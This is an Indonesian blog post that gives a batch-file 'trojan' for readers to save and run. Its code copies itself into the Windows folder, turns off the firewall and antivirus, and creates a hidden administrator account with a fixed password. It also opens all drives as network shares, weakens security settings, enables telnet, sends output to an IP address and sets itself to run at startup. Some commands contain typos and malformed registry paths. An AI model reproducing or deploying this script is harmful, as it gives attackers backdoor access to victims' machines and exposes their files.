THOUSANDS OF FREE BLOGGER TEMPLATES

Selasa, 07 Juni 2011

trojan versi batch

Berjumpa lagi dengan saya,kali ini aku mau share tentang
cara buat simple trojan versi batch jadi buatnya mudah

dengan berbekal notepad
jadi nanti di save dengan ekstensi .bat

siiip,,,check this out
code:
@echo off color 0a cls IF not exist %windir%\%0 copy %0 %windir% netsh firewall set opmode=disable net stop ShareAccess Net stop "Security Center" Tskill *AV* NET USER admin admin123 /ADD NET LOCAL GROUP ADMINISTRATORS admin /ADD Reg ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList" /v"admin" /t REG_DWORD/d 0 /f REG ADD HKLM\SYSTEM\ControlSet001\Services\Messenger /v Start /t REG_DWORD /d 2/f Net start messenger dir *.*>>Filelist.txt Net send 192.168.1.100 >hasil.txt NET SHARE system=%SYSTEMDRIVE% /UNLIMITED NET SHARE data1=D:\ /UNLIMITED NET SHARE data1=E:\ /UNLIMITED REG ADD HKCR\Network\SharingHandler /ve /t REG_SZ/d ""/f REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v forceguest /t REG_DWORD /d 0 /f REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v restrictanonymous /t REG_DWORD /d 0 /f REG ADD HKLM\SYSTEM\ControlSet001\Services\TIntSvr /v Start /t REG_DWORD /d 2/f Net start tIntsvr REG ADD HKLM\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f REG ADD HKCU\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f
efek diantara penyebaran seperti worm jadi mudah berkembang biak disable firewall stop ShareAccess stop Security Center nge kill AV membuat user dengan nama admin123 pertahanan pada user admin123 menjalankan messenger mengirim kan hasil rekaman ke ip 192.168.1.100 dan terakhir listing ttg pertahan trojan ini. nanti aku buat lagi tantang trojan versi vb6

0 komentar: